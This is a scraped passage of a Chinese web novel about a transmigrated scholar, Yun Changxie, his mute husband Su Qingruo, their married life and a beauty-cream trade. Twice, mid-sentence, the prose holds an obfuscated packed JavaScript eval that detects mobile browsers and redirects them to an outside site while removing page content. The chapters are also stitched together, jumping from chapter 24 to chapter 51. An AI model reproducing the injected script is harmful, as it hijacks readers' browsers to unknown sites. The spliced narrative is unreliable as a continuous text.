云长歇过去知道了情况,就没有让对方帮忙订做梳妆台。他过来只让对方帮忙做两个箱子,再给家里做两个大一点的浴桶。 天气马上就热起来了,他们家的哥儿女子多,多做两个浴桶方便他们在自己房间洗澡。 定好了想要的东西,两个人从木匠家出来,云长歇便询问苏青箬想要什么样的梳妆台。 苏青箬闻言摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415530|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摇头,他都没有见过那些梳妆台,这种事情问他就像问傻子。 见苏青箬一脸茫然的模样,云长歇就没有继续问他了。 “我昨天才去过镇上,估计要等几日再去。到时候你就跟我一道去,你自己选个喜欢的样式。” 苏青箬想说他不需要这些,他这个人都不怎么照镜子,也不会涂脂抹粉,给他买这个就是浪费。 但是后来想到,云长歇身份不同。以后他们家若是搬到镇上去,云长歇肯定会结交很多的朋友,到时他不想打扮估计也要打扮的。 没办法,嫁鸡随鸡嫁狗随狗。 他嫁了个读书人,公子哥,自然要比村里的媳妇哥儿要更加讲究。 他享受着嫁给富家公子的福气,很多麻烦与规矩就没有办法避免。 两个人走了一段路,后来遇见陈猎户从山上打猎回来。云长歇见陈猎户手里拎着两只兔子,便上前询问陈猎户的兔子卖不卖? 陈猎户家里就他一个,有时候他打的猎物多,会便宜卖给村里人。 陈猎户对云长歇印象不错,便点了点头愿意卖给云长歇一只兔子。 两只兔子都已经死了,云长歇买来是要吃的,他选了一只稍微干净一点的。 在他们这里,一只活兔一百二文,一只死兔要九十文。 当然了,这个是拿到镇上卖的价格。 若是放到他们村子里,一只死兔子只要五十文。 云长歇对陈猎户印象很好,有心想要结交这个朋友,便多给了对方十文钱。 陈猎户知道他是贵公子,十文钱对于穷苦人家很多,对于云长歇这样的人很少,就没有跟他客气的意思。 云长歇:“陈大哥,以后你若是打到了好东西,也可以拿到我们小院来卖。我身体不好,最近需要补身体,只要不是特别贵的,我都愿意买来尝尝。” 陈猎户闻言点了点头,随即就拿着刚到手的钱走了。 回去之后,苏青箬把兔子处理了。云长歇见状没有走,就蹲在他旁边默默学习。 云长歇没有处理过兔子,苏青箬担心他弄坏兔子皮毛,就没有让他给他帮忙。 处理兔子的时候血腥味大,苏青箬很想让云长歇离远一点。 但是云长歇却摇了摇头,“不行,离远了,我就学不会了。” 苏青箬听到这话有点无奈,云长歇一个官家的公子,就算以后一辈子没出息,也轮不到他个公子亲自动手。 似乎看出了他的想法,云长歇就笑着说道:“可是……万一我以后没有钱了,养不起那么多奴仆了,我还是要学会自力更生的。” 苏青箬闻言抬起眼眸看向他,苏青箬不觉得云长歇这样的人会没有钱。他那花钱大手大脚的模样,一看就是家里娇生惯养出来的。 不过云长歇都这样说了,苏青箬还是安慰了他一下。 苏青箬指了指自己,意思是,没有事的,就算你以后没有钱了,这种事情还有我来做。 他不怕吃苦,也觉得辛苦。 若是云长歇没有钱,他就上山挖野菜,采草药,靠着大山养活云长歇。 24.第 24 章 云长歇这样说,就是真的随口一说。他穿越来之前,师父给他准备了丰厚的家底。就算他这一辈子是个废物,也不会沦落到没有钱的情况。 结果没有想到,苏青箬会指着自己,一脸要养他的模样。 云长歇被自己的脑补逗笑了,突然觉得苏青箬这个人还挺可爱。 这一天晚上,他们小院飘出阵阵肉香。 昨天吃的牛肉,今天吃的兔肉。 艾草从来没有过过这样的好日子,吃的小嘴抹油,晚上睡着的时候都在傻笑。 次日早上,云长歇与苏青箬在读书时,外面响起了一阵敲门声。 昨天云长歇跟陈猎户说,他最近正在补身体,让他打到好东西就送来一些。 陈猎户早上抓到了一条蛇,他家里水缸里还养了两条鱼。他就拎着蛇和鱼来小院,想要问问云长歇要不要? 云长歇有钱,给钱也大方,陈猎户还是愿意往这边跑的。 云长歇闻声从院子里出来,看到那条蛇时眼睛亮了亮。 他没有要那条蛇,只要了两条鲜鱼。 之所以看到蛇眼睛发亮,是因为他想要养条小蛇。 大多数的人都怕蛇,若是他从小就养一条小蛇,配上他的开智丹与驭兽术,说不定可以养一个可怕的保镖。 云长歇买下了两条鱼,就把鱼交给了甜桑。 等到甜桑把鱼拎回去,云长歇便对陈猎户说道:“陈大哥,你以后若是遇见了小蛇,你可以帮我活捉一条吗?” “活捉?你想养蛇?” “对啊,我挺喜欢养这些小东西的,平日里闲着无事也是个乐趣。” 陈猎户不能理解他,但是也没有多说什么,只是冲着他点了点头。 “若是能遇见,我就给你抓一条送来。” “多谢了。” “你给钱,我办事,不必客气。” 陈猎户是个性格利落的人,卖了两条鱼就转身离开了。 他送来的两条鱼都是活鱼,梁婶让甜桑放缸里养一条,剩下那一条中午清蒸了。 苏青箬不喜欢吃鱼,哪怕梁婶做鱼的手艺很好,他也没有那个耐心吃鱼。 相较于鱼肉,他更喜欢猪肉,牛肉,羊肉这些肉类。 然后他不喜欢吃鱼,云长歇却刚刚好喜欢。 云长歇喜欢喝鱼汤,也喜欢清蒸鱼,最喜欢吃糖醋鱼。 一整条鱼云长歇吃了一半,剩下一半是梁婶与甜桑吃的。 苏家那两个小的,跟他们哥哥一样都不怎么喜欢吃鱼。 之后几天没什么大事,梁婶带着甜桑天天忙着做衣服,山樆跟在他们身边练绣活。 苏青箬呢,读书,洗衣服,侍弄门口那片菜地。 艾草会给苏青箬打下手,他今年已经十三岁了,在古代不算是小孩了,很多事情他都可以做。 云长歇是家里最清闲的,上午他一般都在读书练字,下午练一练驭兽术睡睡觉,像是个无所事事的纨绔。 其实他挺喜欢这样的日子的,清闲,安静,安稳,没有什么勾心斗角,最适合他养身体了。 只可惜安静了没有几天,云家那边突然来了几个人,为首的是云家三房的庶长子云长庚。 云长庚比原主年长十岁,原主今年虚岁二十,周岁十九,这人今年已经三十了。 云长庚身边跟了两个奴仆,还跟了一个上了年纪的妇人,这个妇人是云长庚的奶娘。 他们此番过来是,云知县也就是原主便宜爹授意的。 因为老夫人的回来,让他终于想起来了他还有个小儿子。 老夫人两天前回京城时,特意嘱咐他多关心关心小儿子。 云知县这个人还算孝顺,便让长子代替他看望一下待在乡下的云长歇。 对方带着人过来时,云长歇正在院子里逗弄福旺。 福旺开了智,还喝了很多灵泉水,智商跟六七岁孩子差不多。 说是云长歇逗弄福旺,实际上是福旺陪着云长歇玩闹。 云长庚带着人进门时,就看到他那三弟正在逗狗玩呢,他心里忍不住闪过一抹失望。 他明面上是代表父亲来的,实际上是为了母亲来的。 他自幼由三夫人亲自抚养,外人都说他们不是亲母子胜似亲母子。 但是两个人的感情如何,只有云长庚自己心里清楚。 云长庚并没有表面上,那么尊敬他的那位母亲,心里其实是藏着恨的。 他从奶娘那里知道,他生母当年死的很蹊跷,有可能与夫人有关系。 很多人都告诉他,养恩大于生恩。 夫人把他养育成人,还帮他娶了个好媳妇,对他一直很不错的,他应该满心感恩才对。 但是如果他的生母,真的是被夫人害死的,那他岂不是认贼作母? 还有就是,夫人表面上对他很不错,却一直阻碍他读书科举。 给他找的一门亲事,看起来似乎很不错,是夫人娘家那边的亲戚。 但是对方一直向着夫人,还总是劝他不要一直想着考科举,他们如今的日子已经很不错了。 她说:“既然夫人不喜欢你走仕途,你不走便是。反正夫人对你不错,以后绝对不会让你受苦。” 可是他明明有才华,又生在书香门第,为什么仅仅因为她不喜欢,他就要断送自己的大好前程? 云家大房与二房的人,总是笑话三房的人没出息。三房一共三个儿子,只有云长誉考了个举人。 可是别人不会知道,不是他与三弟没有出息,而是母亲不愿意他们出人头地,因为这样他们就会盖过她亲生儿子。 云长庚这一次过来,本来是想要拉拢一下三弟的。 可是……他看着面如纸色,一点也不上进的三弟,突然觉得自己的想法很可笑。 三弟之前差一点死了,估计也是那人的手笔。在这样的情况下,三弟就算想要上进都很困难。 云长庚这个被她亲自抚养的儿子,她都能狠下心来百般算计他,他又何必为难个处境更惨的。 这样想着,云长庚按下了心里的念头,像是一个真正的慈爱兄长一样,笑着朝着云长歇那边走去。 云长歇看到他慢慢站起身来,“兄长,你怎么突然来了?” 云长庚:“怎么,不欢迎兄长来看你?” “怎么会,兄长能来,弟弟十分欢喜。” 云长歇这样说着,脸上却没有多少欢喜的模样。 他招呼甜桑他们搬出来桌椅,等到云长庚坐下来又张罗着要给他沏茶倒水,看起来他与云长庚的关系很不错的模样。 实际上呢,两个人自幼都没有说过多少话,也就谈不上关系好不好了。 云长庚对云长歇道:“好了,都不要忙活了,我就是过来看看你,等会儿就要走了。” 他不便在这边久待,待久了,母亲又要犯疑心病。到时候不仅他受罪,云长歇也要跟着受折磨。 云长歇闻言也没有挽留,他们是什么样的情况彼此都清楚,一些没用的客套自然也没了必要。 “也是,我这里太过简陋,确实不适合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就算他还姓云,还是云知县的儿子,云家的富贵却跟他没什么关系了。 苏青箬想到云长歇这个人以前那样的心高气傲,被家人这样对待他的心里肯定会很不舒服。 所以等到云长歇回房后,他便快步跟了过去,想要好好安慰安慰他。 云长歇本人是没有什么感觉的,就是原主残留的一些执念,让他觉得身上有点累累的。 他想要回来休息下,稍微的睡上一觉,应该很快就没事了。 结果没有想到,苏青箬那边以为他在伤心,就跟着他一起回了房里。 如今还没有天黑,苏青箬进来就随手把房门给关上了。 他想着云长歇这个人那么爱面子,估计不希望其他人看见他难过的模样。 他身为他的夫郎,在这方面一定要维护好夫君的形象。 苏青箬找了纸和笔,在纸上笨拙的写道:“你莫怕,我养你。” 苏青箬还记得,之前云长歇跟他开的玩笑,那个时候他没有仔细回答,今天他就好好回答云长歇。 你不要担心,就算你的家人不要你了,还有我在你身边陪着你。 就算你没有钱,不是云家公子了,也养不起那些下人,只要有我在,我们就能安安稳稳过下去。 虽然纸上只有六个字,云长歇却猜到了苏青箬想要说什么。 他有点想笑,还有点感动。 本来他与苏青箬没有和离,只是觉得苏青箬有点可怜,想要留着好好养上几年,等到以后再放他离开的。 如今……如今看着事事关心他,还说要养他的小哑巴夫郎,他突然有些不舍得放他走了。 50-60 第51章 第 51 章 因为晚上要圆房,苏青箬…… 因为晚上要圆房, 苏青箬就把带了一路的喜被给铺上了。这一床喜被,是他们从秋平县带过来的。 当时云长歇还说不要带了,这些东西可以等到京城再买。苏青箬自己没什么东西, 就执意把这床被子带上了。 云长歇晚上回到房间时,一眼就看到了那床红被子,忍不住轻轻的咳了一声。 说来这件事情确实是他不对,人娶了, 他又不舍得放人家走, 一直拖着不圆房确实不地道。 虽然心里还是有点害羞, 等到他们两人都洗漱之后,云长歇还是积极的做出了行动。 苏青箬被放倒在喜被上, 心里除了紧张并不觉得害怕。 他喜欢云长歇, 也乐意给他生孩子,自然就不排斥他靠近。 加上最近两个人聚少离多的, 他都没有什么机会见到云长歇,此时看到近在咫尺的人还挺开心。 唯一可惜的是他不能开口说话,不然他就能够张口喊云长歇夫君了。 不等苏青箬这边继续多想, 云长歇立在床边开始脱衣裳。 他是个读书人, 不管做什么都斯斯文文的,身上还带着一股书卷气。加上他生得俊秀,连脱衣服的模样都特别好看。 苏青箬看着看着脸上开始发热,他想要起身把床边的纱帐放下来,结果他人刚刚坐起来,就又被云长歇用手按倒在了床上。 云长歇垂着眼眸看着他道:“夫郎躺着就是, 剩下全部交给为夫就好。” 云长歇这样说着的时候,身上就只剩下一身雪白的里衣了。 他伸手把纱帐扯了下来,随即就俯身开始解苏青箬身上的衣服。 苏青箬之前还不觉得如何, 想着他是云长歇的夫郎,他们理应圆房生孩子的。 但是看着云长歇低着头,身上散开的长发落到他脸侧,他才意识到他们现在离得好近好近。 云长歇看出来了苏青箬很害羞,体贴的没有把对方的衣服全脱了。 据说哥儿第一次有点疼,云长歇就一边哄着人一边慢慢来。 “夫郎莫怕,过了第一次,之后就不疼了。” 这个时候他们还没有开始,苏青箬闻言忍不住一脸的茫然。 疼吗? 乡下的那些小媳妇小夫郎们,都说做那事的时候是舒服的。 此时见云长歇这样说,苏青箬心里就有一点害怕了。 他伸手捂住了自己的脸,不想看,想要当一个缩头乌龟。 结果云长歇见状,却没有让他如意。 云长歇撩开了他衣服下摆,然后让苏青箬自己拽着,随即整个人就压了过来…… 次日苏青箬醒来的时候,云长歇已经回书院去了。 他们书院管的比较严,本来云长歇想要请假陪他的。 后来书童过来寻他,他不好意思让所有人都知道,他与苏青箬昨日圆房了,就跟着书童去了书院读书。 这边他把甜桑留下了,特意让甜桑多盯着一点,省得苏青箬身上不舒服。 也是这个时候,甜桑才知道公子与主夫圆房了。 他还挺开心的,一直默默守在主夫的房里。 看到主夫醒了,就端来了热水,给主夫擦了擦脸。 昨个夜里,是云长歇带着梁婶给苏青箬洗得澡。 因为洗过澡了,如今醒来身上没有奇怪的黏腻感。 但是很快的,苏青箬就想起了昨晚发生的事情,整个人开始从里到外慢慢变红。 他看了一眼守着他的甜桑,心里明白肯定是云长歇安排的。 说实话,相较于有人在旁边伺候,这时候的他宁可自己待着。 中午柳氏也知道了,他与云长歇圆房的事情,就让梁婶给他炖只鸽子。 柳氏觉得,苏青箬还是太瘦了。 胖一点的哥儿,身体强壮一点,怀孩子才能稳当。 晚上的时候,云长歇没有照旧留宿在书院,特意大老远坐着马车回来的。 两个人刚刚圆房,他不想让苏青箬多想,还是陪着苏青箬比较好。 云长歇回来的时候,苏青箬正苦着脸在喝补药。 中午他喝了鸽子汤,下午柳氏就给他请了个大夫,说什么让大夫给他调养调养。 好在大夫是个女大夫,发现他昨天才破了身,就给他开了一些滋补的药,倒是没有露出其他的表情。 汤药是柳氏亲自熬的,苏青箬不想喝也得喝。 就在他苦着一张脸,不情不愿小口喝着的时候,云长歇带着书童回来了。 云长歇一回来就先来看他,看到他正皱着眉头喝药还被吓了一跳。 “怎么了?怎么喝起药来?” 苏青箬见他误会了,连忙起身找来了纸和笔,把这药的事跟他解释了一番。 云长歇看完笑了笑,“不想喝就不要喝。” 苏青箬听到这话,有点为难的皱了皱眉头。这是柳氏亲自熬的,他不喝怕是不大好。 看出来了苏青箬的顾虑,云长歇笑着对他说:“没事,这件事我跟娘亲说。是药三分毒,哪怕是补药,喝多了对身体也不好。” 云长歇说着,就把药给倒了。 柳氏确实是好意,苏青箬的身体也确实应该补一补。 若是云长歇没有灵泉,这种补身体的药喝了对身体确实不错。 但是现在的情况是,云长歇手里有更好的灵泉,自然就不要用这种药了。 至于柳氏那边,他过去跟她好好说一说,柳氏不是个胡搅蛮缠的。 见云长歇把那药给倒了,还从怀里摸出一包点心给他,苏青箬的心情顿时好了起来。 “你先吃着,我去娘亲那里说一声,很快就回来。” 云长歇说着就去了柳氏那,跟她说了苏青箬吃药的事情。 柳氏性格好,也不喜欢管东管西,她见云长歇不想让苏青箬吃补药,也没有因此就跟儿子闹不愉快。 云长歇见柳氏答应了,以后不给苏青箬乱吃药了,就想起了柳氏眼睛的事情。 “对了,娘亲的眼睛可好一些了?” 他很早之前给柳氏寄过明目丹,也不知道明目丹对柳氏眼睛有没有用? 听到儿子提起这件事情,柳氏的眼睛忍不住亮了亮。 “你不说这件事情,我差一点都忘了。你送那两颗丹药很管用,以前娘的眼睛不大好,到了夜里就看不清楚。吃了你送的丹药之后,我的眼睛就好了不少。” “有用就好,有用儿子若是再遇见那位郎中,到时候我再跟对方讨要两颗。” 柳氏闻言笑了起来,“你不是说他行踪不定吗?这样厉害的郎中脾气都古怪,你也不知道他现在在什么地方,没有必要为了娘的事情费心思。” 因为根本没有什么所谓的郎中,当初云长歇那样说也是为了,能够有个理由拿出丹药来。如今听到柳氏这样说,他也没有把话说的太死,省得他以后不方便拿东西出来。 之后母子两个又聊了一会儿,云长歇就回去陪苏青箬去了。 这个时候的苏青箬,已经把他买的点心吃完了。 云长歇知道他贪嘴,不想他晚上吃太多甜食,他就特意只买了几块。 此时见他已经吃完了,他拿出帕子给苏青箬擦了擦嘴角。 “我想了想,读书虽然很重要,但是不及你重要。我以后每天都会回来,这样就能多陪陪你了。” 苏青箬闻言,有点担心的看着他。 他们书院距离这边有点远,若是云长歇日日回来,岂不是每天都很辛苦? 看出来了他的眼里的担心,云长歇笑着对他说道:“无碍,你家夫君现在的身体好多了,这一点辛苦对我来说没什么。” 云长歇的身体确实好了很多,之前他在大房那边好吃好喝补着,加上他自己私下来偷偷喝灵泉水,他的身体肉眼可见的好了起来。 这一点不仅苏青箬发现了,就是云家大房那边也发现了。 也正是因为,发现他的身体好了起来,大房那边就不怎么拘着他了。 昨个夜里,苏青箬吃了苦。 晚上休息的时候,云长歇抱住他的时候他还挺紧张的。 后来发现云长歇只是抱着他,不碰他,他才松了一口气。 昨天他才破的身,两个人还来了两次,他自己的身体吃不消,他也担心云长歇吃不消。 生孩子的事情急不得,苏青箬觉得他们可以慢慢来,没有必要非要一天就完成。 次日天微微亮,云长歇就从家里出发去了书院。 陈猎户平日里没有什么事情,听说云长歇以后日日回来,他就决定给云长歇当马夫。 这样他早上和傍晚,都能够出去一趟活动活动。 他不需要去采买,也做不了做饭洗衣的活,平日就一直待在前院的小院里,整个人都有点快要闷坏了。 刚好如今有点活,他就把赶马车的事情接下了。 陈猎户把云长歇送去书院,回来的路上买了一些柴火。 京城好是好,繁华也是真的繁华,但是哪哪都要花钱。 就比如柴火,以前他们漫山遍野都是,如今还要花钱才能买到。 陈猎户把柴往后院一扔,刚好与出来的箐珊碰见了。 箐珊朝着他笑了笑,她的脸上有好几道疤痕,人笑起来的时候有点狰狞。 箐珊见他盯着自己的脸,有点不好意思的摸了摸脸说:“抱歉,吓到你了。” 陈猎户闻言立刻摇了摇头,他一个粗人,见惯了各种恐怖的事情,她脸上那点伤吓不到他。 他想到她是个女子,应该都是很在乎脸的,突然就想到了朋友给他寄信时,说他们那边最近在卖什么美肤膏。 那东西好像可以美容祛疤祛皱,他那朋友的心上人说了,只要他能买到两瓶美肤膏给她,她就愿意嫁给他。 那东西在远洲府很难买到,而且价格十分的昂贵。对方给陈猎户寄信,就是为了跟他借钱的。 陈猎户想到那个东西,若是真的那样的神奇,他要不要想办法弄一瓶? 远洲府卖的美肤膏,正是之前云长歇做的美肤膏。去年院试的时候,云长歇给了何家家主一些。 后来他搬到了京城,何家那边就寄了书信过来,想要他多做一些美肤膏。于是云长歇就多做了一些,让何家的人亲自过来取的。 这一次他做的多,大概有两百多瓶吧。 因为走的饥饿营销,和高档美容药品的路线,两百瓶够何家卖一段时间了。 何家的人过来取货时,把上一次卖的美肤膏的钱给了云长歇。 他们之前说好了,何家只是帮忙包装,帮忙卖的。 主要配方和材料,全部都是云长歇出的。 他们三七分,何家三分,云长歇七分。 要不是云长歇是个读书人,加上他自己没有什么人脉,说实话他完全可以自己卖。 只可惜,云长歇是个读书人,他大伯大堂哥还身份敏感。他也没有那么多精力,这个生意只能让何家那边占些便宜了。 第52章 第 52 章 云长歇用养颜丹与灵泉水…… 云长歇用养颜丹与灵泉水做的美肤膏, 是实实在在的好东西,他从一开始的时候就知道会卖火。 大多数的人也不傻,是好东西, 还是坏东西,只要试过他们心里就会明白。 后世科技那么发达,都不能保证化妆品,有美白, 祛皱, 祛疤的效果。就是一些医美, 也不能保证就没有任何副作用。 云长歇做出来的这东西,使用时是实打实能看到效果的。因为肉眼可见能看到效果, 自然就会有很多人趋之若鹜。 本以为他们价格卖的贵, 走得是高档美容品的路子,想要传播开应该需要一段时间。 然而让云长歇没有想到的是, 这才过去不到半年的时间,美肤膏的名声都传到了京城。 云长歇是在书院里,听到一个同窗提起的。这个同窗是个孝顺的, 听闻远洲府有可以祛疤祛皱的神奇美容膏, 他就想要托人给他母亲带一瓶。 他母亲年纪大了,脸上长了不少皱纹,为了这个她经常难过。 他想要他母亲开心一点,所以最近一直在努力攒钱,就是想要买一瓶美肤膏。 云长歇觉得这人的人品不错,起了想要结交的心思。 他想着他最近又做了一些美肤膏, 就从芥子空间拿出来了几瓶。 他本来想要送给对方的,那人得知后却不敢收。最后两个人推让了一番,那人以原价的价格买下的。 原价, 也就是在远洲府的价格,一瓶美肤膏要二十两银子。 二十两银子买一瓶美容膏,价格真的很高了,只有家境好的人家才会舍得。 因为东西少,还饥饿营销,有的人有钱也不一定买的到。 书院的人得知,云长歇有远洲府的美肤膏,就有不少人想要跟他买。 云长歇不想沾惹上买卖的事情,对外说他的手里也就只有四瓶。 如今一瓶给了那位同窗,剩下的三瓶他都有用处。 他家里有夫郎,还有娘亲,给他们一人一瓶。 剩下一瓶,他要送给祖母。 祖母一直对他照顾有加,如今有了理由拿出美肤膏来,云长歇自然不会少了她的。 因为云长歇手里的美肤膏也少,且都是给他家里的至亲的,大家对此也没有强人所难。 这日云长歇从书院回去,就拿出来了两瓶美肤膏。 如他对外说的那般,一瓶给了苏青箬,另一瓶他给了柳氏。 柳氏与苏青箬,一个是女子,一个是哥儿。美肤膏传到京城的时候,他们要比云长歇知道的更早。 看到云长歇给他们带这个,两个人都觉得十分欢喜。 柳氏年纪大了,与云知县感情不好。她现在的身份,也不可能再嫁人,她就没有想过打扮什么的。 所以她听说这个什么美肤膏的时候,也就当成一个有意思的事情听了听,却完全没有想过让云长歇给她买。 不过不想让云长歇为了这种事情费心,不代表她就真的一点也不想要得到。 女人嘛,哪有不爱美的。 就算不为了男人,有时候也是想要变美的。 当看到云长歇给她买了美肤膏时,柳氏的心里是真的十分开心的。 很多男子有了家室,眼里就只有小家了。 若是遇见了好东西,也都是紧着家里的那个,很容易忽略年迈的长辈。 云长歇却不一样,他不会为了苏青箬忽略亲娘,也不会为了亲娘欺负苏青箬。 情况允许的话,她有的,苏青箬也会有;苏青箬有的,也不会少了她的。 另一边的苏青箬心情也很好,他不爱打扮,也懒得打扮。 不过不爱打扮,不代表他不想变得漂亮。 如今他与云长歇才刚刚圆过房,他的心里有喜欢的人,自然想要自己变得更漂亮。 看到云长歇给他买了美肤膏,苏青箬立刻欢欢喜喜的回了房里,打算试一试这个传闻中的美肤膏。 之后他在甜桑的伺候下,好好的洗漱了一番,就对着镜子涂涂抹抹。 一瓶美肤膏没有多少东西,苏青箬用的时候很小心,生怕用多了点会浪费。 云长歇回来的时候,看到他对着镜子小心翼翼的模样,就忍不住轻轻的笑了一声。 一旁的甜桑对着云长歇行了一礼,就十分自觉的转身离开了。 最近这几日,甜桑一直在苏青箬身边伺候。 看云长歇的架势,估计以后要让他留在苏青箬身边了。 云长歇自己是个不喜欢人伺候的,前一段时间他跟着云长歇也没有近身伺候过。 如今云长歇与苏青箬圆房了,苏青箬应该很快就会怀孕,到时候他的身边就需要人照顾。 甜桑是自己人,云长歇又很信任他,不出意外甜桑最后肯定是苏青箬的人。 甜桑是个聪明懂事的,若是他注定是主夫的人,他自然要事事为主夫考虑,以后他的日子才能够好过。 等到甜桑出去后,云长歇上前拉住了苏青箬的手,想要自己给苏青箬涂美肤膏。 苏青箬见状却不让他碰,这个瓶子还没有鸡蛋大呢,里面的东西更是少之又少。 云长歇的手大,手指也长,让他给他抹,估计三两下就没了。 云长歇看出了苏青箬的想法,便开口笑着对他说道:“夫郎不要担心,为夫有些门路可以给你买到这个,就算不小心用完了也无需担心。” 苏青箬闻言却不相信,他仔细把脸上涂了一遍。看了看自己粗糙的手,很想也把手涂抹一遍。但是因为不舍得用,最后他犹豫了一下,还是把瓶子合上了。 晚上休息的时候,云长歇给苏青箬倒了一杯放了灵泉的糖水。 这次他放的灵泉水比较多,估计有个四五滴的模样。 他停了,柳氏给苏青箬补身体的药。 不能用药补,就需要用灵泉水来补了。 苏青箬的身体不算差,会这么瘦,主要是小时候吃了太多苦,加上长期的营养不良造成的。 后来他来到了云家,云长歇好吃的好喝的养着他,他明显比之前白净胖了一些。 如今给他喝灵泉水,主要还是为了补小时候的营养不良。 苏青箬喝了灵泉水,整个人的精神头似乎不错。 云长歇见状就抱住人,想要把人压到自己身下。 苏青箬脸上一红,就朝着床榻里面滚去。 他不能说话,这会儿害羞的不行,不能表达自己的意思,就只好伸手去推云长歇。 他记得大夫说过,云长歇的身体不大好,房事上面他们需要克制。 他之前那一回,身上还难受着呢,根本不乐意再来一回。 云长歇却不乐意这样放过他,像是逮小猫一样把人给逮住,然后抱着一起温存了一番。 夜里,外面下起了小雨。 雨声哗啦,打在青瓦屋檐,声音听起来还挺好听的。 苏青箬睁开了眼睛,伸手摸了摸身侧的人,随即往对方怀里拱了拱。 云长歇也醒了,他没有睁开眼睛,而是闭着眼睛把人往怀里捞。 次日早上,云长歇照常去书院,然后听到了一个消息。 消息是书童告诉他的,据说昨个夜里长公子身边的那个小侍流产了。 书童是大房出来的,认识大房那边不少人。昨天他没有回云长歇这边,而是去了云家大房云长歇的偏院。 本来他过去,是为了给云长歇拿书的,结果没有想到撞见这种事。 云长歇突然听到这个消息时还愣了一下,“小侍?哪个小侍?” 长公子,也就是云长誉。 因为云长誉克妻,一直没有人愿意嫁给他。 大房这边礼教甚严,在嫡长子没有出生之前,是不允许庶子出生的。 云长誉也是君子,应该做不出未娶妻就让下人怀孕的事情。 书童见云长歇不清楚这里面的事情,便压低声音跟云长歇解释了一下。 “去年长公子回云氏族里,他带回来了一个小哥儿。公子本来是想要给小哥儿找门亲事的,后来也不知道为什么人就没能送走。那小哥儿……似乎喜欢长公子,就成了长公子身边的小侍。” 经过书童的提醒,云长歇这才想起来那人是谁。 他想,云长誉反正也娶不到媳妇,这个小哥儿长得也不差,不如把人抬成正室算了。 至于出身? 云长誉现在的情况,想要娶更好的也娶不到。 而且身份是好是坏,其实不如他喜不喜欢来的重要。 若是他不喜欢,娶了个名门闺秀,两个人说不定会处成怨侣。 如今这个小哥儿,他愿意留在身边,还做出……那就是说明他喜欢的。 既然他自己喜欢,那小哥儿也愿意,出身什么的根本不重要了。 当然了,这种事情云长歇也没有资格指手画脚,还是需要云长誉自己想清楚才行。 今天晚上,云长歇依旧不打算回去。 大房发生了这样的事情,估计也不乐意太多人知道。 但是他不想回去,晚上却被接了回去,接他回去的是老夫人。 一直等到他回到大房,他才知道老夫人接他回来的目的。 因为那个小侍的事情,云长誉跟云侍郎闹矛盾了。 父子两个人大吵一架,云长誉就带着那个小侍走了。 大房这边还没有分家,云长誉在外面没有住处。他带着一个刚流产的小侍,也不知道现在跑到哪里去了。 老夫人很担心他们,一个人待着就很心慌,这才把云长歇接了过来。 身边有个孙子守着,有个人能陪她说说话,她的心里才能好受一点。 云长歇想到手里那瓶美肤膏,便把东西拿了出来哄祖母开心。 老夫人见状,确实开心了一点。 “还是你好啊,又乖巧,又懂事,还知道心疼老太太我。” 云长歇在老夫人这边,一直待到很晚才回他的偏院。 这一晚云长誉一直没有回来,据说大夫人那边担心了一晚。 好在,次日云长誉还是去上值了,不然大房这边肯定会闹翻天。 之后过了三日吧,云侍郎熬不过云长誉,就答应了云长誉的要求,让他把那个小侍娶进门。 不过他有一个要求,那就是他们的婚事不能风光大办。 他们家因为云长誉婚事的事情,已经被京城这边看过很多笑话了。 那小侍的身份太特殊,之前还差点嫁给个老头。 这种事情若是风光大办,以后他们家还要如何在朝堂面对其他官员? 云长誉与那小侍商量了一下,那个小侍就给他出了个主意。 他身份低贱,家里还有一堆麻烦亲戚。 他也不希望,他们知道他嫁给了云少卿。 为了不给云长誉添麻烦,他想要换一个身份换一个名字。 反正他是个哥儿,认识他的人都在那个小县城。 他换个名字,换个身份,别人就是想要查也查不到。 至于办婚事,不大办也没有关系。 他本来在乎的就不是这些,而是想要云长誉这个人。 第53章 第 53 章 云长誉的婚事,是在这一…… 云长誉的婚事, 是在这一年的四月份举办的。 没有风光大办,也没有如同云侍郎说的那般,一台轿子就把人抬进家门。 那哥儿怀过云长誉的孩子, 孩子还意外的滑胎没有了,他不想太过委屈了对方,两个人的婚事还是办了的。 不过由于时间仓促,婚事就办得十分简单, 只宴请了云长誉关系好的几个官员。 然而就算如此, 对于那小哥儿来说已经很不错了。 在乡下有些人家成亲, 有的时候一个骡子就能把人带走。 他能穿上漂亮嫁衣,坐着轿子从云家正门进去, 对他来说已经足够了。 为了不让人, 对云长誉说三道四。也是为了小哥儿以后,出门应酬不被人笑话。云家给他改名改了姓, 让他跟着老夫人那边的姓,整个人的身份抬了好几截。 有了一个新身份,如愿的嫁给了云长誉, 云长歇的这位嫂夫郎, 整个人的气势都不同了。 有一天,云长歇回大房看望祖母。 就看到他跟在大夫人身后,正在努力的学着如何管家。 大夫人肯定是看不上他的,但是因为她心疼云长誉,不管她看不看得上他,都只能认下这个哥儿。 大夫人也是个聪明的, 知道这件事情没有回转余地,眼看着云长誉年纪越来越大,估计一辈子也就只能这样了。 为了让云长誉开心, 她就没有为难过这个小哥儿。如今更是手把手教导他管家,看起来是真的把他当自家人的。 不过,有愿意为了云长誉忍的,也有不愿意忍的。 比如云侍郎,与云长睦。 这对父子比较在乎脸面,完全看不上云长誉的这个夫郎,对待他的态度也就不怎么好。 好在,嫂夫郎是个心宽的。 他从来不跟这两个人硬碰硬,而是沉迷于如何管家,如何打扮自己,如何拴住云长誉的心。 在他看来,云家大房以后云长誉才是那个当家人。 搞定了云长誉,就等同于搞定了大夫人与老夫人。 至于其他两个,一个是年纪大了的老头,另一个是个不中用的庶子,他才不怕他们呢。 只要等他把身体养好,给云长誉生个一儿半女的,以后的大房就是他说的算。 